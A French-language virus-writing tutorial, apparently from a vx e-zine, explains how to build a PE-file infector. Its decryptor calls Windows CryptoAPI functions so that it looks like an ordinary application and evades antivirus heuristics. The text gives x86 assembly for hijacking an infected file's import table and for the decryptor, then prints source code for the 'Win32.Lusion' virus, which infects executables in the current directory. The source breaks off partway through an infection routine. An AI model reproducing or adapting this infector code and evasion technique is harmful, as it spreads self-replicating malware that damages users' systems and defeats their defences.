------------------------------------------------------------------------- Decryption via apis kaze ------------------------------------------------------------------------- [ Introduction ] Comme son nom l'indique, cet article va parler de la partie décryption d'un virus, plus précisément d'un infecteur de PE. Le but premier d'un décrypteur est de ne pas se faire détecter,jusque là je ne vous apprends rien. Il y a pour ça deux écoles: Rendre le code aussi variable/complexe que possible. C'est la méthode utilisée par les poly engines. Rendre le code aussi neutre/classique que possible. C'est la méthode utilisée par .. pas grand monde à maconnaissance. On va donc s'y coller. Nous allons donc faire une décryption àl'aide d'apis (les Cryptoapis), et ce le plus légalement possible. "légal" ca veut dire pas d'opcode bizarre, que des pushs et des calls comme dans une appli classique. Autrement dit, il faudra oublier la recherche du kernel en ram (cmp [esi],word ptr 'EP' c'est pas trop banal). Oublié aussi le delta offset pour la même raison. Ce tut va donc se diviser en deux parties: la première expliquera comment appeler légalement des apis, l'autre comment (dé)crypter notre code à l'aide des cryptos apis. Si vous avez lu l'article d'urgo dans ioc#6, vous ne devriez pas être perdu dans la première. La deuxieme quant à elle ne devrait poser aucun problème.Outre l'intérêt théorique, cette technique permet de feinter l'heuristique de kav et de nod (donc des autres à priori). Quand à une possible signature, réponse dans quelques temps ..Le virus proposé plus bas est là uniquement pour aider à la compréhension de ce tut. Il a été simplifié au possible dans ce but. Une version plus complète devrait être jointe au mag normalement. Pragmatiquement parlant, cette technique permet d'avoir un décrypteur qui ressemble à ça (desasm de calc.exe) : //******************** Program Entry Point ******** :01017000 68337A0101 push 01017A33 * Reference To: KERNEL32.KERNEL32.dll, Ord:0000h | :01017005 FF1548100001 Call dword ptr [01001048] :0101700B 8BD8 mov ebx, eax :0101700D 68C4790101 push 010179C4 :01017012 53 push ebx * Reference To: KERNEL32.KERNEL32.dll, Ord:0000h | :01017013 FF154C100001 Call dword ptr [0100104C] :01017019 A3537A0101 mov dword ptr [01017A53], eax :0101701E 68000000F0 push F0000000 :01017023 6A01 push 00000001 :01017025 6A00 push 00000000 :01017027 6A00 push 00000000 :01017029 684F7A0101 push 01017A4F :0101702E FF15537A0101 call dword ptr [01017A53] :01017034 68D9790101 push 010179D9 :01017039 53 push ebx * Reference To: KERNEL32.KERNEL32.dll, Ord:0000h | :0101703A FF154C100001 Call dword ptr [0100104C] :01017040 A3537A0101 mov dword ptr [01017A53], eax :01017045 68477A0101 push 01017A47 :0101704A 6A00 push 00000000 :0101704C 6A00 push 00000000 :0101704E 6803800000 push 00008003 :01017053 FF354F7A0101 push dword ptr [01017A4F] :01017059 FF15537A0101 call dword ptr [01017A53] :0101705F 68E9790101 push 010179E9 :01017064 53 push ebx * Reference To: KERNEL32.KERNEL32.dll, Ord:0000h | :01017065 FF154C100001 Call dword ptr [0100104C] :0101706B A3537A0101 mov dword ptr [01017A53], eax :01017070 6A00 push 00000000 :01017072 6A20 push 00000020 :01017074 6875700101 push 01017075 :01017079 FF35477A0101 push dword ptr [01017A47] :0101707F FF15537A0101 call dword ptr [01017A53] :01017085 68047A0101 push 01017A04 :0101708A 53 push ebx * Reference To: KERNEL32.KERNEL32.dll, Ord:0000h | :0101708B FF154C100001 Call dword ptr [0100104C] :01017091 A3537A0101 mov dword ptr [01017A53], eax :01017096 684B7A0101 push 01017A4B :0101709B 6A00 push 00000000 :0101709D FF35477A0101 push dword ptr [01017A47] :010170A3 6801680000 push 00006801 :010170A8 FF354F7A0101 push dword ptr [01017A4F] :010170AE FF15537A0101 call dword ptr [01017A53] :010170B4 68F7790101 push 010179F7 :010170B9 53 push ebx * Reference To: KERNEL32.KERNEL32.dll, Ord:0000h | :010170BA FF154C100001 Call dword ptr [0100104C] :010170C0 A3537A0101 mov dword ptr [01017A53], eax :010170C5 33C0 xor eax, eax :010170C7 68407A0101 push 01017A40 :010170CC 68E8700101 push 010170E8 :010170D1 50 push eax :010170D2 6A01 push 00000001 :010170D4 50 push eax :010170D5 FF354B7A0101 push dword ptr [01017A4B] :010170DB FF15537A0101 call dword ptr [01017A53] ... ( code crypté ) Certe le decrypteur est gros, mais il faut avouer qu'il est dur de croire que c'est le code d'un virus Pour les commentaires, n'hésitez pas : kaze_0mx@yahoo.fr ou #vxers@irc.epiknet.org.Puis pendant qu'on y est : http://www.fat4ever.fr.st [ Sommaire ] I. Jouer avec l'IT II. Construire le decrypteur III. Code IV. Conclusion I. Jouer avec l'import table : ______________________________ Pour que le décrypteur passe inaperçu, il faut qu'il ait une structure aussi banale que possible. Autrement dit, il serait bon, comme les 3/4 des applis windows, qu'il se compose essentiellement de push et de call. La seule solution est donc qu'il utilise les apis windows pour decrypter le corps du virus. Seulement, notre virus ne connait pas les adresses de ces apis et on ne peut pas se permettre de rechercher les apis en scannant la mémoire (cf ioc#6-rikenar). On peut avoir leur adresses via les apis GetProcAddress et LoadLibraryA, mais là encore, le virus ne connait pas l'adresse de ces deux apis.De plus, comme il nous faut l'adresse de ces apis dès les premières ligne de code du virus (que des pushs et des calls ...), il va donc falloir déterminer ces adresses une génération à l'avance, et les incorporer directement dans le code du décrypteur. Il existe cependant une solution, elle se situe dans le mécanisme d'importation. En effet, il est possible de forcer un PE infecté à importer des apis. Pour résoudre notre problème, il nous suffirait qu'il en importe juste deux, GetProcAddress et LoadLibraryA (à partir desquelles toutes les apis seront accessibles) puis de localiser leur adresse dans l'I.T du PE pour pouvoir les appeler depuis le décrypteur lors de la génération suivante. Regardons tout d'abord comment l'I.T fonctionne. Tout PE comprend une IT (pour Import Table). Elle est situé le plus souvent dans une section nommée .idata, mais ce n'est pas obligatoire. Je ne vais pas la décrire en détail, vous pourrez trouver de la doc un peu partout sur le net. En gros, l'IT est constituée d'une suite d'IMAGE_IMPORT_DESCRIPTORs, un par dll, terminée par 0: IMAGE_IMPORT_DESCRIPTOR: DWORD OriginalFirstThunk : Une RVA vers une liste d'IMAGE_THUNK_DATAs. Cette liste est statique et terminée par 0. Dword TimeDateStamp : Version du dll pour laquelle l'importation a été optimisée. Voir plus loin. Dword ForwaderChain : Ne nous interesse pas. Dword Name : RVA vers le nom du dll (terminé par 0). Dword FirstThunk: Une RVA vers une liste d'IMAGE_THUNK_DATAs. Cette liste changera après le chargement du PE. Elle peut également contenir autre chose si l'importation a été optimisée (là encore voir + loin). Une IMAGE_THUNK_DATA est une RVA vers une structure IMAGE_IMPORT_BY_NAME, constituée d'un word, l'ordinal, suivi du nom de l'api,terminé par 0. Les deux tables OriginalFirstThunk et FirstThunk marchent en parallèle. Dans le cas le plus simple, lorsque l'importation n'a pas étéoptimisée, les deux tables sont identiques, du moins avant que le PE ne soit chargé en mémoire. Par exemple, mettons nous dans le cas d'un IMAGE_IMPORT_DESCRIPTOR concernant kernel32.dll.Avant que le PE ne soit chargé, ça donne ça: OriginalFirstThunk FirstThunk RVA --> 0,0,'CreateFileA',0 <-- RVA RVA --> 0,0,'ExitProcess',0 <-- RVA RVA --> 0,0,'CreateThread',0 <-- RVA 0 0 Lors du chargement du PE, windows va lire tous les IMAGE_IMPORT_DESCRIPTORs, puis pour chaque dll importé (i.e pour chaque IMAGE_IMPORT_DESCRIPTOR), il va lire chaque IMAGE_THUNK_DATA del'OriginalFirstThunk, déterminer l'adresse de l'api concernée, et remplir le FirstThunk (en parallèle avec l'OriginalFirstThunk) avec l'adresse de l'api.Après chargement du PE, notre exemple donnera ça: OriginalFirstThunk FirstThunk RVA --> 0,0,'CreateFileA',0 0xBFFF4598 ;adresse de CreateFileA RVA --> 0,0,'ExitProcess',0 0xBFFF89A5 ;adresse de ExitProcess RVA --> 0,0,'CreateThread',0 0xBFFF0F97 ;adresse de CreateThread 0 0 Ainsi, votre "call ExitProcess" dans votre .asm est compilé en : call[offset FirstThunk_de_kernel32_dll + 4 ] ;(RVA=dword) Pour avoir l'adresse de nos deux apis lors du prochain chargement du PE en train d'être infecté, il nous suffit donc de modifier l'IT du PE sur le disque de sorte que les deux premieres entrées de l'OriginalFirstThunk de kernel32.dll pointent respectivement vers 0,0,'GetProcAddress',0 et 0,0,'LoadLibraryA',0. Ainsi, une fois le PE infecté chargé, càd à la génération suivante, les deux premieres entrées du FirstThunk du PE concernant kernel32.dll contiendront alors respectivement les adresses de GetProcAddress et de LoadLibraryA. En gros, ca donnera ça après infection (et une fois le PE chargé en ram): OriginalFirstThunk FirstThunk RVA * --> 0,0,'LoadLibraryA',0 0xBFFF8512 ;adresse de LoadLibraryA RVA * --> 0,0,'GetProcAddress',0 0xBFFFD3C0 ;adresse de GetProcAddress RVA --> 0,0,'CreateThread',0 0xBFFF0F97 ;adresse de CreateThread 0 0 Une fois ce hack effectué, notre décrypteur n'aura donc qu'à regarder les deux premières entrées du FirstThunk pour obtenir les adresses des apis. Pas de recherche en ram, toutce qu'il y a de plus simple. Le code qui va suivre permet de modifier l'IT d'un PE en train d'être infecté de la manièredécrite ci-dessus. Les deux premières entrées valides de l'OriginalFirstThunk de kernel32.dll seront sauvegardées, puis remplacées par des RVA vers les deux noms d'apis qui nous interessent. Puis les les adresses des deux entrées correspondantes dans le FirstThunk seront sauvegardées, vu qu'à ces adresses seront situées les RVA des deux apis, une fois le PE chargé en ram. N.B: Il faut avoir à l'esprit que l'IT n'est pas au même emplacement sur le disque et en mémoire. Lorsque nous infectons un PE, il est sur le disque, mais le virus ne sera actif qu'une fois le PE chargé en ram. Une partie du code ci-dessous sera donc consacrée à faire ce décalage. =====>8=====>8=====>8=====>8=====>8=====>8=====>8=====>8=====>8=====>8=====>8=== ;eax=offset où est mappé le PE en cours d'infection (obtenu via MapViewOfFile). ;edx--> PE Header ;imagebase contient l'ImageBase du PE en train d'être infecté. ;virusrva contient la RVA du virus dans le PE en train d'êtreinfecté. ;N.B: "-->" signifie "pointe vers" ;import_gmha db 0,0,'LoadLibraryA',0 ;import_gpa db 0,0,'GetProcAddress',0 ;iidraw dd ? ;iidrva dd ? ;of_gmha dd ? ;of_gpa dd ? lea edi,[edx+18h] movzx ecx,word ptr [edx+14h] ;SizeOfOptionalHeader add edi,ecx ;edi--> sections headers mov esi,[edx+80h] ;esi=RVA import table movzx ecx,word ptr [edx+6] ;ecx=nombre de sections cherche_raw_import: ;On va voir dans quelle section se situe l'IT.. cmp [edi+0Ch],esi ;[edi+0Ch]=RVA de la section ja mauvaise_section ;RVA debutsection > RVA I.T ? mov ebx,[edi+8] ;Virtual Size add ebx,[edi+0Ch] ;ebx=RVA de la fin de la section cmp ebx,esi ja raw_import_trouve ;RVA debut section<= RVA I.T < ; RVA fin section ? mauvaise_section: add edi,28h loopcherche_raw_import raw_import_trouve: ;edi-->header de la section contenant l'IT mov [edi+24h],dword ptr0F0000060h ;Cette section doit etre ;writeable vu qu'on la ;modifiera avant de rendre ;la main au PE. mov ebx,[edi+0Ch] ;RVA de la section sub esi,ebx ;esi=offset des imports ds la ;section add esi,[edi+14h] ;ajoute le RawOffset add esi,eax ;ajoute le FileOffset. ;esi=offset de l'I.T dans le fichier. mov [ebp+iidraw],esi mov ebx,[edx+80h] ;ebx=[edx+80h] = RVA de l'I.T mov [ebp+iidrva],ebx mov edx,0Ch mov ecx,35 ;cherche dans les 35 premiers ;ImageImportDescriptors. fk32: mov edi,[esi+edx] ;Edi=RVA du nom du module ;(en ram donc) sub edi,ebx ;Edi=offset du nom du module ;(dans l' IT) add edi,esi ;Edi=offset du nom du module ;dans le fichier. cmp [edi],'NREK' ;Est-ce le IIDescriptor de ;kernel32.dll ? jz k32f add edx,014h ;on passe à l'IIDesc suivant loop fk32 jmp byebyeerror k32f: and dwordptr [esi+edx-8],0 ;on met le TimeDateStamp à 0. mov ecx,[esi+edx+4] ;ecx=RVA du First Thunk sub ecx,ebx mov edi,esi ;edi=offset de l'I.T dans ;le fichier. add ecx,esi ;ecx=offset du FirstThunk dans ;le fichier mov esi,[esi+edx-0Ch] ;esi=RVA de l'OriginalFirstThunk sub esi,ebx add esi,edi ;esi=offset de l'Original ;FirstThunk dans le fichier sub esi,4 sub ecx,4 call ch_api_skip_ordinals_only ;Ch_api_skip_ordinals_only fait pointer esi et ecx vers le premier ;ImageThunkData valide (i.e pas qu'un ordinal). ;On a alors : ; ; ; ;OriginalFirstThunk FirstThunk ; ;esi --> RVA --> 0,0,'CreateFileA',0 <-- RVA <-- ecx ; RVA --> 0,0,'ExitProcess',0 <-- RVA ; RVA --> 0,0,'CreateThread',0 <-- RVA ; 0 0 mov eax,offset import_gmha - offset start add eax,[ebp+virusrva] ;Eax=RVA de 0,0,'LoadLibraryA',0 ;dans le PE en train d'être ;infecté. xchg [esi],eax ;Remplace la RVA de 0,0, ;'CreateFileA',0 par celle de ; 0,0,'LoadLibraryA',0 push ecx sub ecx,[ebp+iidraw] add ecx,[ebp+iidrva] add ecx,[ebp+imagebase] ;On fait passer ecx d'un offset ;dans le fichier à une RVA mov [ebp+of_gmha],ecx ;ecx=RVA de la future adresse de ;LoadLibraryA mov [ebp+of_oldgmha_name],eax ;On sauve la RVA de l'ancien pop ecx ;0,0,'CreateFileA',0 call ch_api_skip_ordinals_only ;idem pour la deuxieme entree... mov eax,offset import_gpa - offset start add eax,[ebp+virusrva] xchg [esi],eax sub ecx,[ebp+iidraw] add ecx,[ebp+iidrva] add ecx,[ebp+imagebase] mov [ebp+of_gpa],ecx mov [ebp+of_oldgpa_name],eax ch_api_skip_ordinals_only proc near ;IN: esi --> OFT ecx--> FT ; ebx=decalage raw/rva pour l'I.T ;OUT: esi--> OFT, ecx--> FT add esi,4 add ecx,4 mov eax,[esi] test eax,eax ;derniere entree ? jz error_chapi sub eax,ebx add eax,edi ;edi=RawOffset des imports cmp [esi+3],byte ptr 80h ;juste un ordinal ? jz ch_api_skip_ordinals_only ret ch_api_skip_ordinals_only endp =====>8=====>8=====>8=====>8=====>8=====>8=====>8=====>8=====>8=====>8=====>8=== Après ces modifications, *une fois que le PE infecté sera chargé en ram*, nous aurons la configuration suivante (toujours pour notre exemple): OriginalFirstThunk FirstThunk RVA --> 0,0,'LoadLibraryA',0 0xBFFF8512 <-- of_gmha RVA --> 0,0,'GetProcAddress',0 0xBFFFD3C0 <-- of_gpa RVA --> 0,0,'CreateThread',0 0xBFFF0F97 0 0 variables: of_oldgmha_name --> 0,0,'CreateFileA',0 of_oldgpa_name --> 0,0,'ExitProcess',0 Nous aurons donc ici tous les éléments nécessaires pour batir notre décrypteur et rendre la main au PE hôte de manière propre (càd rétablir l'ancienne IT).Pour appeler l'api LoadLibraryA par exemple, il nous suffira de faire un "call [of_gmha]" lors de la génération suivante. Tout ce qu'il y a de plus banal pour une appli win32. Cependant, si on rend la main au PE avec l'IT dans cet etat et qu'il veuille appeler disons ExitProcess, que se passe-t-il? Comme vu au début, le "call ExitProcess" est en fait compilé en "call [offsetFirstThunk_de_kernel32_dll + 4 ]" autrement dit, ce ne sera pas l'api ExitProcess qui sera appelée mais l'api GetProcAddress. Heureusement, nous avons la RVA du nom original de l'api (0,0,'ExitProcess',0 en l'occurence), ainsi que l'adresse de l'emplacement de sa RVA dans le FirstThunk (of_gpa). Pour remttre l'IT en son etat d'origine, il suffira donc à la fin du virus d'obtenir l'adresse de l'ancienne api via GetProcAddress, puis de la placer au bon endroit dans le FirstThunk. Quelque chose qui devrait ressembler à ça, bien que ce ne soit pas un exemple fonctionnel : push offset kernel32_name (call_ LoadLibraryA) ;A vous de voir comment appeler ;LoadLibraryA. Il n'est pas ;conseillé ici de faire un ;call [ebp+of_gmha] car cette ;valeur sera écrasée par la phase ;d'infection. ;Vous pouvez en faire une sauvegarde au ;début du virus, etc mov esi,of_oldgmha_name ;esi--> 0,0,'ExitProcess',0 inc esi inc esi ;passe l'ordinal (deux bytes) push esi push eax ;adresse de kernel32.dll (call_ GetProcAddress) ;idem que LoadLibraryA mov edi,of_gmha stosd kernel32_name db 'kernel32.dll',0 Nous avons ici remis en place la première api, il faut encore remettre en place la deuxième. C'est exactement pareil. Finalement,nous avons réussi à obtenir pour notre décrypteur les adresses de GetProcAddress et de LoadLibraryA le plus "légalement" possible, sans avoir recours à des adresses hard-codées ou au scannage de l'export du kernel en ram. Et ce, de manière totalement transparente pour le PE hôte, vu que son IT est remise dans son état original avant que le virus ne lui rende la main. Pour ceux qui n'auraient pas suivi, voici les étapes à suivre pour une génération de virus donnée: 1) Trouver un PE infectable, l'ouvrir et le mapper en mémoire. 2) Modifier son IT de la manière décrite ci-dessus. 3) Mettre à jour le décrypteur (en mettant à jour les adresses deGetProcAddress et LoadLibraryA dans son code) pour la génération suivante. 4) Recopier le décrypteur et le virus dans le PE, puis le fermer. 5) Retour au 1) tant que Xfichiers n'ont pas été infectés 6) Remettre l'IT du PE hôte de lagénération en cours à son état original. 7) Rendre la main à l'hôte. La première partie de ce tut aura expliqué les étapes 2 et 6. Voyons maintenant la troisième. II. Construire le décrypteur : ______________________________ Nous allons tout d'abord voir comment se servir simplement des CryptosApis. On va essayer defaire le plus simple possible, autrement dit une encryption symétrique avec un algo de type stream, RC4 en l'occurence. Je ne vais pas faire un topo détaillé, pour plus de détail allez à msdn.microsoft.com. Avant tout appel à ces apis, il est nécessaire d'obtenir un handle de CSP, pour "cryptographic service provider": BOOL WINAPI CryptAcquireContext( HCRYPTPROV* phProv, //OUT: Offset du dword qui recevra le handle LPCTSTR pszContainer, //On s'en fout... LPCTSTR pszProvider, //Idem DWORD dwProvType, //IN: Type de provider souhaité. DWORD dwFlags //IN: Flags, voir la doc microsoft ); Pour notre décrypteur, nous utiliseront le provider par defaut, à priori le plus compatible. En gros, ca donnera ça: call CryptAcquireContextA,offsetcsp,0,0,PROV_RSA_FULL,CRYPT_VERIFYCONTEXT avec: PROV_RSA_FULL EQU 1 CRYPT_VERIFYCONTEXT EQU 0F0000000h csp dd ? Pour plus de détails, gnagnagna msdn.microsoft.com. Csp contient maintenant le handle du provider par defaut. Il nous faut maintenant préparer la création de la clé. La manière la plus simple semble de creer un hash d'une certaine chaine via CryptCreateHash et CryptHashData, puis de transformer ce hash en clé valide via CryptDeriveKey. On est parti... BOOL WINAPI CryptCreateHash( HCRYPTPROV hProv, //Handle vers un csp ALG_ID Algid, //Algo souhaité pourle hash HCRYPTKEY hKey, //On s'en fout DWORD dwFlags, //Idem HCRYPTHASH* phHash //OUT: offset du handledu hash ); Appliqué à notre cas, ca donnera ça: call CryptCreateHash, csp, CALG_MD5,0, 0, offset hash avec: CALG_MD5 EQU 08003h hash dd ? Maintenanton va hasher notre clé. Pour notre virus, il serait bien que cette clé soit variable, mais pour l'instant passons. On supposera que la cle est de la forme: cle db 'Ma cle' cle_len EQU $ - offset cle Voyons à quoi ressemble CryptHashData: BOOL WINAPI CryptHashData( HCRYPTHASH hHash, //handle du hash (obtenu via CryptCreateHash) BYTE* pbData, //Pointeur vers la chaine à hasher DWORD dwDataLen, //Taille de la chaine DWORD dwFlags //On s'en fout ); Pour nous, ce sera donc : call CryptHashData, hash, offset cle, cle_len, 0 Ensuite, il nous faut transformer ce hash en clé valide, via CryptDeriveKey: BOOL WINAPI CryptDeriveKey( HCRYPTPROV hProv, //handle du csp ALG_ID Algid, //algo souhaité pour l'en/decryption HCRYPTHASH hBaseData, //handle du hash DWORD dwFlags, //on s'en fout HCRYPTKEY* phKey //OUT: offset du handle de la clé ); Ce qui donnera : call CryptDeriveKey, csp, CALG_RC4, hash, 0, offset key avec: CALG_RC4 EQU 06801h A ce point, nous pouvons soit appeler CryptEncrypt pour encrypter notre virus, soit CryptDecrypt. Voila leur déf: BOOL WINAPI CryptDecrypt( HCRYPTKEY hKey, //handle de la clé obtenu via CryptDerivekey HCRYPTHASH hHash, //on s'en fout (0) BOOL Final, //1=dernier bloc DWORD dwFlags, BYTE* pbData, //Pointeur vers les données a crypter DWORD* pdwDataLen //IN/OUT : taille des données à crypter ); BOOL WINAPI CryptEncrypt( HCRYPTKEY hKey, HCRYPTHASH hHash, BOOL Final, DWORD dwFlags, BYTE* pbData, DWORD* pdwDataLen, DWORD dwBufLen ); Maintenant que nous savons nous servir des cryptos-apis, il ne nous reste plus qu'à appliquer ça à notre décrypteur. Je ne parlerais pas de l'encryption, il suffit mettre en oeuvre ce qui a été vu juste avant. Si vous avez cependant des doutes quant à l'utilisation des apis, un petit exemple devrait être fourni avec le mag. Nous allons tout d'abord faire le squelette de notre décrypteur, sans aucune adresse.Ensuite, à chaque fois que nous infecterons un fichier, nous fixerons toutes les adresses(en leur ajoutant le delta offset), de manière à éviter tout opcode du style mov eax,[ebp+...]Voici le squelette en question : callu macro ;opcode d'un call [xxxxxxxx] db 0FFh,15h endm pushd macro ;opcode d'un push xxxxxxxx db 068h endm pushu macro ;opcode d'un push [xxxxxxxx] db 0FFh,35h endm movu macro ;opcode d'un mov [xxxxxxxx],eax db 0A3h endm ; call CryptAcquireContextA, offset csp,0,0,PROV_RSA_FULL,0F0000000h ; call CryptCreateHash, csp, CALG_MD5, 0, 0, offset hash ; call CryptHashData, hash, offset t1, t1_len, 0 ; call CryptDeriveKey, csp, CALG_RC4, hash, 0, offset key ; call CryptDecrypt, key, 0, 1, 0, offset buffer, offset buf_len ;obtient l'adresse de advapi32.dll pushd ;push offset advapi_name adr_advapi dd 0 callu gmha1 dd 0 ;call LoadLibraryA mov ebx,eax ;obtient l'adresse de CryptAcquireContextA pushd adr_cac dd 0 push ebx callu gpa1 dd 0 ;call GetProcAddress movu adr_api1 dd 0 ;mov api,eax ;crypt_aquire_context push CRYPT_VERIFYCONTEXT push PROV_RSA_FULL push 0 push 0 pushd ;push offset csp adr_csp1 dd 0 callu adr_api2 dd 0 ;call api <=> call CryptAcquireContextA ;obtient l'adresse de CryptCreateHash pushd adr_cch dd 0 ;push offset CHash push ebx callu gpa2 dd 0 ;call GetProcAddress movu adr_api3 dd 0 ;mov api,eax ;crypt_create_hash pushd adr_hash1 dd 0 ;push offset hash push 0 push 0 push CALG_MD5 pushu adr_csp2 dd 0 ;push csp callu adr_api4 dd 0 ;call api <=> call CryptCreateHash ;obtient l'adresse de CryptHashData pushd adr_chd dd 0 ;push offset HData push ebx callu gpa3 dd 0 ;call GetProcAddress movu adr_api5 dd 0 ;mov api,eax ;crypt_hash_data push 0 push 32 ;len pushd t1: adr_t11 dd 0 ;push offset t1 pushu adr_hash2 dd 0 ;push hash callu adr_api6 dd 0 ;call api <=> call CryptHashData ;obtient l'adresse de CryptDeriveKey pushd adr_cdk dd 0 ;push offset "CryptDeriveKey" push ebx callu ;call GetProcAddress gpa4 dd 0 movu adr_api7 dd 0 ;mov api,eax ;crypt_derive_key pushd adr_key1 dd 0 ;push offset key push 0 pushu adr_hash3 dd 0 ;push hash push CALG_RC4 pushu adr_csp3 dd 0 ;push csp callu adr_api8 dd 0 ;call api <=> call CryptDeriveKey ;obtient l'adresse de CryptDecrypt pushd adr_cd dd 0 ;push offset "CryptDecrypt",0 push ebx callu ;call GetProcAddress gpa5 dd 0 movu adr_api9 dd 0 ;mov api,eax ;crypt_decrypt pushd adr_len dd 0 ;push offset len pushd adr_es dd 0 ;push offset encrypted_stuff push 0 push 1 push 0 pushu adr_key2 dd 0 ;push key callu adr_apiA dd 0 ;call api <=> call CryptDecrypt Tout d'abord, toutes les variables gpa et gmha devront être remplacées par les of_gmha et of_gpa trouvées lors du hook de l'IAT du PE en train d'être infecté(cf partie 1). Ceci nous permet d'appeler GetprocAddress et LoadlibraryA de la manière la plus anodine possible. Ensuite, les tous les champs de type adr_ devront être remplacés par les adresses effectives de ces variables: AContext db 'CryptAcquireContextA',0 CHash db 'CryptCreateHash',0 HData db 'CryptHashData',0 DKey db 'CryptDeriveKey',0 Encrypt db 'CryptEncrypt',0 Decrypt db 'CryptDecrypt',0 advapi_name db 'advapi32.dll',0 hash dd ? key dd ? csp dd ? api dd ? Voila pour les explications. Si ce n'est toujours pas clair, voici un code exemple : III. Code source : __________________ ;----------------------------------------------------------------------------; ;FICHIER : win32.lusion_ioc_release.asm ; ;NOM : Win32.lusion ; ;DATE : 07/09/2003 ; ;VERSION : ioc release ; ;AUTEUR : kaze ; ;CIBLE : PE ; ;OS : Windows 95/98/Me/Xp/Nt/2000 ; ;TAILLE : 2420 bytes ; ;INFECT. : Ajoute une section. (même sous xp) ; ;RESID. : Pas dans cette version. ; ;CRYPT. : Encrypt‚ via RC4 (CryptoAPIs) 100% api-based ; ;SEH : Pas dans cette version. ; ;POLY. : Nop ; ;ANTI* : Pas dans cette version. ; ;AV-DET. : Pas detecte pour l'instant. ; ;SIGN. : ; ;PAYLOAD : Aucune dans cette version. ; ;DESC. : Cette version de win32.lusion est la uniquement pour faciliter la ; ; comprehension de l'article. Ce virus infecte les PE du rep courant; ; du type kaze*.exe. Le virus se decrypte via les cryptosapis. ; ; Sinon rien d'exceptionnel, cette version est des plus simple. ; ;COMP : tasm32 /ml /l /m3 main ; ; tlink32 /Tpe /aa main ,,,import32.lib advapi32.lib ; ; makeex main.exe (rend la section de code writeable) ; ;BUGS : Nop ; ;----------------------------------------------------------------------------; PROV_RSA_FULL EQU 1 CRYPT_NEWKEYSET EQU 8 CRYPT_VERIFYCONTEXT EQU 0F0000000h CALG_RC4 EQU 06801h CALG_MD5 EQU 08003h .386p .model flat,STDCALL extrn GetProcAddress:PROC extrn GetModuleHandleA:PROC extrn MessageBoxA:PROC extrn ExitProcess:PROC call_ macro x call [ebp+x] endm callu macro ;opcode d'un call [xxxxxxxx] db 0FFh,15h endm pushd macro ;opcode d'un push xxxxxxxx db 068h endm pushu macro ;opcode d'un push [xxxxxxxx] db 0FFh,35h endm movu macro ;opcode d'un mov [xxxxxxxx],eax db 0A3h endm .data db 'Win32.Lusion coded by kaze/FAT' ;============================================================================ ; CODE ;============================================================================ .code first_gen_start: jmp encrypted_stuff start: ;============================================================================ ; DECRYPTEUR ;============================================================================ ; call CryptAcquireContextA, offset csp,0,0,PROV_RSA_FULL,0F0000000h ; call CryptCreateHash, csp, CALG_MD5, 0, 0, offset hash ; call CryptHashData, hash, offset t1, t1_len, 0 ; call CryptDeriveKey, csp, CALG_RC4, hash, 0, offset key ; call CryptDecrypt, key, 0, 1, 0, offset buffer, offset buf_len ;obtient l'adresse de advapi32.dll pushd ;push offset advapi_name adr_advapi dd 0 callu gmha1 dd 0 ;call LoadLibraryA mov ebx,eax ;obtient l'adresse de CryptAcquireContextA pushd adr_cac dd 0 push ebx callu gpa1 dd 0 ;call GetProcAddress movu adr_api1 dd 0 ;mov api,eax ;crypt_aquire_context push CRYPT_VERIFYCONTEXT push PROV_RSA_FULL push 0 push 0 pushd ;push offset csp adr_csp1 dd 0 callu adr_api2 dd 0 ;call api <=> call CryptAcquireContextA ;obtient l'adresse de CryptCreateHash pushd adr_cch dd 0 ;push offset CHash push ebx callu gpa2 dd 0 ;call GetProcAddress movu adr_api3 dd 0 ;mov api,eax ;crypt_create_hash pushd adr_hash1 dd 0 ;push offset hash push 0 push 0 push CALG_MD5 pushu adr_csp2 dd 0 ;push csp callu adr_api4 dd 0 ;call api <=> call CryptCreateHash ;obtient l'adresse de CryptHashData pushd adr_chd dd 0 ;push offset HData push ebx callu gpa3 dd 0 ;call GetProcAddress movu adr_api5 dd 0 ;mov api,eax ;crypt_hash_data push 0 push 32 ;len pushd t1: adr_t11 dd 0 ;push offset t1 pushu adr_hash2 dd 0 ;push hash callu adr_api6 dd 0 ;call api <=> call CryptHashData ;obtient l'adresse de CryptDeriveKey pushd adr_cdk dd 0 ;push offset CDKey push ebx callu ;call GetProcAddress gpa4 dd 0 movu adr_api7 dd 0 ;mov api,eax ;crypt_derive_key pushd adr_key1 dd 0 ;push offset key push 0 pushu adr_hash3 dd 0 ;push hash push CALG_RC4 pushu adr_csp3 dd 0 ;push csp callu adr_api8 dd 0 ;call api <=> call CryptDeriveKey ;obtient l'adresse de CryptDecrypt pushd adr_cd dd 0 ;push offset CDecrypt push ebx callu ;call GetProcAddress gpa5 dd 0 movu adr_api9 dd 0 ;mov api,eax ;crypt_decrypt pushd adr_len dd 0 ;push offset len pushd adr_es dd 0 ;push offset encrypted_stuff push 0 push 1 push 0 pushu adr_key2 dd 0 ;push key callu adr_apiA dd 0 ;call api <=> call CryptDecrypt ;============================================================================ ; INFECTION ;============================================================================ encrypted_stuff: call delta delta: pop ebp sub ebp,offset delta lea ebx,[ebp+kernel_name] lea esi,[ebp+api2] mov ecx,NBR_APIS_KERNEL32 lea edi,[ebp+ExitP] call ChercheApis ;obtient les adresses des apis ;de kernel32.dll lea ebx,[ebp+advapi_name] lea esi,[ebp+AContext] mov ecx,NBR_APIS_ADVAPI32 lea edi,[ebp+CAContext] call ChercheApis ;obtient les adresses des apis ;d'advapi32.dll mov eax,[ebp+AncienEP] ;sauvegarde qques donnees mov [ebp+saved_AncienEP],eax mov eax,[ebp+of_oldgmha_name] mov [ebp+saved_of_oldgmha_name],eax mov eax,[ebp+of_oldgpa_name] mov [ebp+saved_of_oldgpa_name],eax mov eax,[ebp+of_gmha] mov [ebp+saved_of_gmha1],eax mov eax,[ebp+of_gpa] mov [ebp+saved_of_gpa1],eax mov eax,[ebp+imagebase] mov [ebp+saved_imagebase],eax call InfectRep ;infecte le rep courant ;==================== INFECTION REP COURANT ET WINDOWS ====================== ;========================== LANCEMENT DES THREADS =========================== ;============================================================================ ; RETOUR A L'HOTE ;============================================================================ test ebp,ebp jz premiere_gen_exit db 0BEh ;mov esi,... saved_of_oldgmha_name dd 0 db 0BFh ;mov edi ... saved_of_gmha1 dd 0 call restore_api ;restaure l'IT db 0BFh ;mov edi ... saved_of_gpa1 dd 0 db 0BEh ;mov esi,... saved_of_oldgpa_name dd 0 call restore_api ;restaure l'IT premiere_gen_exit: mov eax,[ebp+saved_imagebase] add eax,[ebp+saved_AncienEP] jmp eax ;Rend la main a l'hote ;============================================================================ ; FONCTIONS ;============================================================================ ; INFECTE UN FICHIER OUVERT InfectPE proc near ;eax-->fichier en ram push eax mov edx,[eax+3Ch] add 